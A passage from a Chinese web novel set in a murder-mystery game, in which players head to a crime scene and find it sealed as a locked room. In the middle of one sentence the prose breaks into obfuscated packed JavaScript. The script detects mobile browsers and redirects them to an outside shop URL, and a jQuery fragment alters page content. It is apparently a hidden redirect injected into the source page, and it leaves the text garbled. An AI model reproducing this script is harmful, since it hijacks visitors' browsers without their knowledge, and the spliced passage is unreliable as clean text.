但他们都过了“抱团取暖”的时期了。 在监视别人的同时,别人也在监视自己。 在离开餐厅前,神父道:“虽然是废话,但还是要提醒一句:最好不要两个人一起。一个人,或者三个人都好。” 说完,他背着手,独自踏出餐厅。 贺玉盈紧跟其后,准备离开时,身后忽然有人出声拦住她:“你打算去哪?” 回过头,宋荷正慢条斯理地放下餐巾,扶着椅子站起来。 “我想,要先去第四层的凶案现场看看吧。” 既然昨晚没有死人,那么凶手很可能在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13671598|129932||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 凌晨一点之后对凶案现场动了手脚。 即使是这样,也有必要赶去看看……说不定会捡到什么遗漏的线索。 眨眼间,宋荷就走到她的身边,“那我们一起吧。正好我也要去。” 贺玉盈:“可是刚刚他说不要两个人一起。” “我不是凶手。”宋荷指了指自己,“你是吗?” “我也不是。” “那就没有问题了。”宋荷说,“我们走吧?” 贺玉盈想了想,答应了:“好吧。” 两人结伴朝四楼的方向走。 “昨晚你有听到过什么动静吗?”宋荷突然问道。 “没有。” “我也没有。昨晚我尝试了一下,虽然不知道具体是否是凌晨一点,但我的确是在某个时间点失去了意识。等再次醒过来,已经天亮了。” 这是在明示自己不是凶手? “我没想那么多。”贺玉盈谨慎道,“昨晚我‘失去意识’应该只是因为睡着了。听到你这么说,或许今晚我也可以试一试。” 宋荷特意侧过脸看了她一眼:“你真有趣。” “哈哈,谢谢。” “对于那个始终没有出现的‘第十个人’,你有什么想法?”宋荷提起裙角,轻快地上了一层台阶,“刚才,你好像没怎么发表过自己的看法。” “我吗?其实我的想法和你们刚刚说的大差不差。”贺玉盈说,“其实无非只有两种可能。那个人是凶手;那个人不是。” “对。”宋荷点点头,“如果那个人是凶手的话,其实对我们来说,是一件好事。” “如果那个人不是凶手,那么就会出现一个很大的问题。” “——他为什么不出现?” “没错。不出现一定是有理由的。”贺玉盈道,“虽然不应该妄下结论,但我不认为是因为他贪生怕死。” 说话间,两人已经来到了四层,远远看去,已有三四个人站在了走廊尽头的房前。 宋荷似乎还想说些什么,但无奈贺玉盈加快了脚步,她只好将话全咽进了肚子里。 站在门前的人分别是骑士、神父、贵族和王子,每个人脸上都蒙上一层阴云,好像对某种情况一筹莫展。 “怎么了?”贺玉盈问。 “打不开门。”神父言简意赅。 宋荷一语中的:“密室杀人。” 王子远远地待在在人群最末尾,闻言咧嘴一笑:“姐姐,我们两个想得一样。” 宋荷:“真巧。” 骑士在一旁插嘴道:“不能让管家来开门吗?他会有钥匙的吧?” “可以试试。”宋荷附身,仔细地观察门上的锁孔,“问题在于,这个密室到底是‘案发时’的手法,还是‘案发后’的手法。” “‘案发后’?”贵族纳闷,“管家不是说过他把案发现场恢复成原来的状态了吗?这当然是凶手杀人时的手法了。” “这位哥哥你真蠢。”王子道,“姐姐的意思是,这个‘密室’也许是昨晚凶手才布置下来的。” “有什么区别?” “区别可大了!”王子道,“如果是‘案发时’的手法,很有可能是游戏的原有剧情,可是如果是昨晚才布置的,那就是我们中的‘凶手’亲手花时间布置的呀。”